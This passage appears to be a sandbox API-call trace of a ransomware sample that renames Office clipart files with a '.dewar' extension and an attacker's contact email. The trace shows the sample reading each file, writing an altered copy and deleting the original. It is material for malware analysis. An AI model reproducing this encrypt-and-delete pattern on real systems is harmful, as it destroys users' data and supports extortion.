office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0282.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0282.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0282.898] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0282.898] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0282.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0282.899] ReadFile (in: hFile=0x1e0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x1485, lpOverlapped=0x0) returned 1 [0282.903] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x1490, lpOverlapped=0x0) returned 1 [0282.906] WriteFile (in: hFile=0x1b0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0282.906] CloseHandle (hObject=0x1e0) returned 1 [0282.906] CloseHandle (hObject=0x1b0) returned 1 [0282.907] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0 [0282.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0282.910] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2596) returned 1 [0282.910] CloseHandle (hObject=0x1b0) returned 1 [0282.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0282.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0282.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0282.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0282.911] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0282.912] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0282.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0282.912] ReadFile (in: hFile=0x1b0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0xa24, lpOverlapped=0x0) returned 1 [0282.919] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xa30, lpOverlapped=0x0) returned 1 [0282.921] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0282.922] CloseHandle (hObject=0x1b0) returned 1 [0282.922] CloseHandle (hObject=0x1e0) returned 1 [0282.923] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0 [0282.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0283.498] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=10607) returned 1 [0283.498] CloseHandle (hObject=0x1e0) returned 1 [0283.498] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0283.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0283.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0283.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0283.748] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0283.748] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0283.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0283.749] ReadFile (in: hFile=0x1e0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x296f, lpOverlapped=0x0) returned 1 [0283.754] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x2970, lpOverlapped=0x0) returned 1 [0283.758] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0283.758] CloseHandle (hObject=0x1e0) returned 1 [0283.758] CloseHandle (hObject=0x140) returned 1 [0283.760] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0 [0283.760] SetEvent (hEvent=0x118) returned 1 [0283.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0283.761] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4955) returned 1 [0283.761] CloseHandle (hObject=0x140) returned 1 [0283.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0283.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0283.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0283.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0283.763] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0283.763] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0283.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0283.766] ReadFile (in: hFile=0x140, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x135b, lpOverlapped=0x0) returned 1 [0283.771] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x1360, lpOverlapped=0x0) returned 1 [0283.776] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0283.776] CloseHandle (hObject=0x140) returned 1 [0283.778] CloseHandle (hObject=0x1e0) returned 1 [0283.782] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0 [0283.782] SetEvent (hEvent=0x118) returned 1 [0283.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0283.783] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5030) returned 1 [0283.784] CloseHandle (hObject=0x1e0) returned 1 [0283.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0283.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0283.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0283.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0283.785] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0283.785] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0283.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0283.789] ReadFile (in: hFile=0x1e0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x13a6, lpOverlapped=0x0) returned 1 [0284.113] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x13b0, lpOverlapped=0x0) returned 1 [0284.324] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0284.325] CloseHandle (hObject=0x1e0) returned 1 [0284.325] CloseHandle (hObject=0x140) returned 1 [0284.326] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0 [0284.327] SetEvent (hEvent=0x118) returned 1 [0284.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0284.331] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=13254) returned 1 [0284.331] CloseHandle (hObject=0x140) returned 1 [0284.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0284.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0284.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0284.332] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.332] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0284.335] ReadFile (in: hFile=0x140, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x33c6, lpOverlapped=0x0) returned 1 [0284.340] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x33d0, lpOverlapped=0x0) returned 1 [0284.343] WriteFile (in: hFile=0x1e0, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0284.343] CloseHandle (hObject=0x140) returned 1 [0284.344] CloseHandle (hObject=0x1e0) returned 1 [0284.345] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0 [0284.345] SetEvent (hEvent=0x118) returned 1 [0284.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.349] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8582) returned 1 [0284.349] CloseHandle (hObject=0x1e0) returned 1 [0284.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0284.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0284.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0284.351] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.351] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0284.352] ReadFile (in: hFile=0x1e0, lpBuffer=0x31a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2eefe74, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesRead=0x2eefe74*=0x2186, lpOverlapped=0x0) returned 1 [0284.356] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0x2190, lpOverlapped=0x0) returned 1 [0284.360] WriteFile (in: hFile=0x140, lpBuffer=0x31a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefe58, lpOverlapped=0x0 | out: lpBuffer=0x31a0020*, lpNumberOfBytesWritten=0x2eefe58*=0xf2, lpOverlapped=0x0) returned 1 [0284.360] CloseHandle (hObject=0x1e0) returned 1 [0284.360] CloseHandle (hObject=0x140) returned 1 [0284.362] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0 [0284.363] SetEvent (hEvent=0x118) returned 1 [0284.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0284.364] GetFileSizeEx (in: hFile=0x140, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4894) returned 1 [0284.364] CloseHandle (hObject=0x140) returned 1 [0284.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0284.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0284.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0284.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0284.697] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.698] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefe68 | out: lpNewFilePointer=0x0) returned 1 [0284.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft 